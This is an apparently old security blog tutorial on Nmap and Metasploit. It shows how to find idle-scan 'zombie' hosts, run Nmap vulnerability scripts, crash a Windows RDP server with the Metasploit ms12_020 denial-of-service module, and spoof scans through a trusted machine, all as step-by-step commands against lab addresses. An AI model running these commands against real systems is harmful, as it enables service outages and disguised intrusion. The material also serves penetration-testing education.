NMAP - Finding potential Zombie machine using NMAP

In reference to my tutorial below, i showed how Metasploit is used to find potential zombies (idle machines)
http://securityg33k.blogspot.sg/2013/05/nmap-metasploit-finding-zombie.html

But NMAP does have the ability to find zombie machine as well,

#nmap -Pn -n --scanflags SYNACK 192.168.71.164 -p 80 --packet_trace

The ID=240 is where we will be focusing. 

So re-run the scan again and look at the ID and in this case its incremental id=240 + 1 = id=241. When it is incremental +1, it means this system is a potential zombie!!!

NMAP & Metasploit - Scan and Exploit in 10mins

READY, SCAN, ATTACK!!!

First, we will find a target and ensure the host is up. We will do this by using Nmap:
#nmap -sn 192.168.71.156

Once we know the host is up and running, we will use Nmap to find any critical vulnerabilities. We invoke the command

#nmap --script vuln 192.168.71.156 --reason

With this command, Nmap will execute the NSE script called Vuln and scan the host for vulnerabilities. Once the scan completed, we can see the result and show the available vulnerability of the host. The result even provide us with the link to know more information of the vulnerability.

Now lets exploit that vulnerability! So first we need to locate whether the exploit is in the metasploit database. On your terminal, run

#locate ms12_020

The output shows that the exploit is available in metasploit.

Alternatively, you can also search the exploit in the MSFconsole itself by firing up #msfconsole and then run

#search ms12_020

Now that we know the exploit is available, we will now execute it.

msf > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids

msf  auxiliary(ms12_020_maxchannelids) > set RHOST 192.168.71.156

msf  auxiliary(ms12_020_maxchannelids) > set RPORT 3389

msf  auxiliary(ms12_020_maxchannelids) > run

Once executed, the server will crash!!! Note that this is a Layer 7 DOS attack!

Nmap & Metasploit - Finding a Zombie

Find a victim, make it a zombie and then use that zombie to bite it!

Many may not realize this but NMAP has the ability to turn a machine into a zombie (well not literally) and use it to perform scanning on other machines. This is another way to use the power of trust of another computer, 'take over' and scan it on the other. Besides, this is way more challenging than using the -D (decoy) switch.

Well, first its not easy to find a potential zombie using NMAP (if anyone has any idea, do share) so we are going to use Metasploit to find potential zombie machines.

Open your terminal and type in

#msfconsole

Once loaded, type

msf > use auxiliary/scanner/ip/ipidseq 

If you wanna see the available options, enter below;

msf auxiliary(ipidseq) > show options

Then lets put in the IP range for them to scan and find potential zombies

msf auxiliary(ipidseq) > set RHOSTS 192,168.71.150-192.168.71.153

msf auxiliary(ipidseq) > set THREADS 50

msf auxiliary(ipidseq) > run

Once ran, the result will be shown and if you see an IP with the remark as 'Incremental!' it means you have a potential zombie!!!!!

So once a potential zombie is found, rifle up the nmap and run the scan 

#nmap -PN -sI <zombie IP> <victim IP>

Basically, what this scan does is to scan another machine using the zombie machine that somehow acts like a proxy. 

In what situation can we apply this?

Let's say you are in the same network but you can perform a scan to a server but the other person beside you can because he is 'trusted' or given special privileges. So the only way is to connect to his machine and use it to scan the server instead. From the server network side, they will see it as a valid traffic NOT from the 'attacker' but from the trusted Zombie itself. :)